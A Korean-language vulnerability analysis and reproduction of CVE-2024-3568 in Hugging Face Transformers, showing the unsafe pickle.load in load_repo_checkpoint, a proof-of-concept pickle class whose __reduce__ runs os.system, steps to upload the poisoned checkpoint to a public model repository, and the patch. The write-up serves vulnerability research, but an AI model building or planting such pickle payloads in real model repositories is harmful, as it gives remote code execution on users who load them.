CVE-2024-3568: Transformers Deserialization of Untrusted Data vulnerability 분석 및 재연

배경 지식

config.json

• 모델 구조(아키텍처): 모델 구조와 하이퍼파라미터를 명세한 JSON 파일 (hidden_size, num_attention_heads, intermediate_size, vocab_size 등)
• from_pretrained(path_or_name)가 모델 객체를 초기화할 때 어떤 레이어 구조로 만들지 알려줌
• 가중치 파일(tf_mode.h5 등)은 수치값만 담고, config.json이 구조를 담당함

tf_model.h5

• Transformers에서 save_pretrained()로 TensorFlow(TF) 모델 저장 시 생성되는 전체 TF 모델 파일
• HDF5 포맷(.h5)으로, 모델의 모든 변수(레이어 가중치들)가 포함됨
• TFAutoMode.from_pretrained(local_dir) 호출 시 이 파일을 읽어 TensorFlow 모델의 변수에 값을 채움
• 모델 아키텍처(노드/연결)는 config.json을 바탕으로 TensorFlow 레이어로 생성되고, tf_model.h5가 그 레이어의 값들(가중치)을 채움

weights.h5

• Keras save_weights() 형식으로 저장한 가중치 파일
• checkpoint/weights.h5 경로로 배치함
• 모델의 가중치만 별도로 저장할 때 사용함
• model.load_weights로 가중치만 불러올 때 유용함
• 모델 로드 후 save_weights() 호출하여 일반적으로 만듦

pickle

• Python 객체를 저장하는 바이너리 serialize 파일
• dict, list, model 같은 객체를 파일로 덤프했다가 다시 복원(load)할 수 있게 하는 포맷
• 저장(직렬화): python import pickle; pickle.dump(obj, open("data.pickle","wb"))
• 복원(역직렬화): obj = pickle.load(open(”data.pickle”,”rb”))

 

취약점 설명

Root Cause

        if not os.path.isfile(weights_file):
            raise FileNotFoundError(f"Could not find checkpoint file weights.h5 in repo {repo_path_or_name}!")
        extra_data_file = os.path.join(checkpoint_dir, "extra_data.pickle")
        if not os.path.isfile(extra_data_file):
            raise FileNotFoundError(f"Could not find checkpoint file extra_data.pickle in repo {repo_path_or_name}!")

        # Assuming the repo is real and we got a checkpoint, load the weights and the optimizer state into the model.
        # The optimizer state includes the iteration count, so learning rate schedules should resume as normal too.
        self.load_weights(weights_file)
        with open(extra_data_file, "rb") as f:
            extra_data = pickle.load(f)
        self.optimizer.set_weights(extra_data["optimizer_state"])

        # Finally, return the epoch number from the checkpoint. This isn't a property of the model, so we can't
        # set it directly, but the user can pass it to fit().
        return {"epoch": extra_data["epoch"]}

TFPreTrainedModel() 클래스의 load_repo_checkpoint() 함수는 신뢰할 수 없는 데이터를 역직렬화하는 취약점이 존재함. 취약점을 통해 공격자는 직렬화된 페이로드를 통해 임의 코드와 명령어를 실행할 수 있음

pickle.load는 파일에 저장된 pickle 바이트코드를 읽어 저장된 명령(opcode)에 따라 객체를 재구성함. 이 과정에서 REDUCE나 NEWOBJ와 같은 opcode는 (callable, args)를 이용하여 호출하고, 그 결과를 스택에 푸시, 즉 함수/생성자 호출이 실행되도록 설계되어 있어 RCE가 가능함

조건

• load_repo_checkpoint에서 불러오는 디렉토리(checkpoint)에 RCE 페이로드가 담긴 파일이 위치함
• weights.h5가 있어야 예외처리가 되지 않음

 

환경구축

transformers 설치

pip install transformers==4.37.2

 

tensorflow 설치

pip install tensorflow

transformer와 맞는 keras? tensorflow 버전을 설치해야 함

tensorflow 버전이 안 낮춰지는 문제가 있음 2.15를 써야 하는데 (transforemr 와 버전을 맞추려면) 2.20은 설치되지만 tensorflow가 안 낮춰짐

⇒ python3 3.11/3.10 설치

⇒ apt로 설치가 안돼서 source를 받아서 빌드하여 사용

 

Python 3.11 설치

sudo apt update
sudo apt install -y build-essential libssl-dev zlib1g-dev \\
  libbz2-dev libreadline-dev libsqlite3-dev libffi-dev \\
  libncurses5-dev libgdbm-dev liblzma-dev wget
cd /usr/src
sudo wget <https://www.python.org/ftp/python/3.11.9/Python-3.11.9.tgz>
sudo tar xzf Python-3.11.9.tgz
cd Python-3.11.9
sudo ./configure --enable-optimizations
sudo make -j$(nproc)
sudo make altinstall

python3.11이 성공적으로 설치됨

python3.11 -m venv ~/.venv/test/
source ~/.venv/test/bin/activate
python3.11 -m pip install tensorflow==2.15
python3.11 -m pip install transformers=4.37.2

 

huggingface에 poc 올리기

먼저 모델을 저장하는 코드 작성

from transformers import TFAutoModel, AutoConfig
from tensorflow.keras.optimizers import Adam
import os

out_dir = "testModel"
os.makedirs(out_dir, exist_ok=True)

# 1) model load
config = AutoConfig.from_pretrained("bert-base-uncased")
model = TFAutoModel.from_pretrained("bert-base-uncased", config=config)

# compile : optimizer/metric
model.compile(optimizer=Adam(5e-5), metrics=["accuracy"])

# save as HF rule config.json + create tf_model.h5
model.save_pretrained(out_dir)
print("saved:",os.listdir(out_dir))

pickle에 RCE 페이로드가 담기도록 커스터마이즈 pickle 생성 방법을 알아야 함

import os
from transformers import TFAutoModel, AutoConfig

model_dir = "testModel"
ckpt_dir = os.path.join(model_dir, 'checkpoint')
os.makedirs(ckpt_dir, exist_ok=True)

# init model via tf_model.h5 + config.json
model = TFAutoModel.from_pretrained(model_dir)

# save weights.h5
weights_path = os.path.join(ckpt_dir, "weights.h5")
model.save_weights(weights_path, save_format="h5")

모델을 로드한 후 save_weights를 통해 가중치를 checkpoint 경로의 weights.h5 파일에 저장

import pickle

class koharin:
  def __reduce__(self):
    import os
    cmd = 'touch /tmp/pwned'
    return (os.system, (cmd,))

poc = koharin()
with open('extra_data.pickle', 'wb') as fp:
  pickle.dump(poc, fp)

pickle 파일 생성

curl -LsSf <https://hf.co/cli/install.sh> | bash
hf auth login
hf upload k0h4r1n/testModel

허깅페이스에 제대로 업로드된 것 확인 가능

 

취약점 재연

<https://huggingface.co/k0h4r1n/testModel/>
│
├── README.md           ← 허브 웹 페이지에 표시되는 설명
├── config.json         ← 모델 구성(BERT 등)
├── tf_model.h5         ← TensorFlow 가중치
├── checkpoint/
│   ├── weights.h5
│   └── extra_data.pickle
├── testModel           ← (선택) 심볼릭 링크 또는 메타 파일
└── .gitattributes

pip install huggingface_hub
huggingface-cli login # huggingface 웹사이트에서 발급받은 access token으로 로그인 

로컬에서 디렉토리 이렇게 구성

# testModel 상위 디렉토리로 이동 (cve-2024-3568 디렉토리)
hf upload k0h4r1n/testModel

 

pickle 파일은 extra_data.pickle 이름이어야 찾을 수 있음 

 

/tmp/pwned 파일이 정상적으로 생성됨

(위 오류는 load_repo_checkpoint 메소드에서 extra_data.pickle로부터 epoch와 optimizer_state를 사용하는데 extra_data.pickle에는 해당 내용이 없어서 발생하는 것임)

 

패치

https://github.com/huggingface/transformers/pull/28926

src/transformers/modeling_tf_utils.py 파일에서 load_repo_checkpoint 메소드가 제거됨

 

Reference

https://huntr.com/bounties/b3c36992-5264-4d7f-9906-a996efafba8f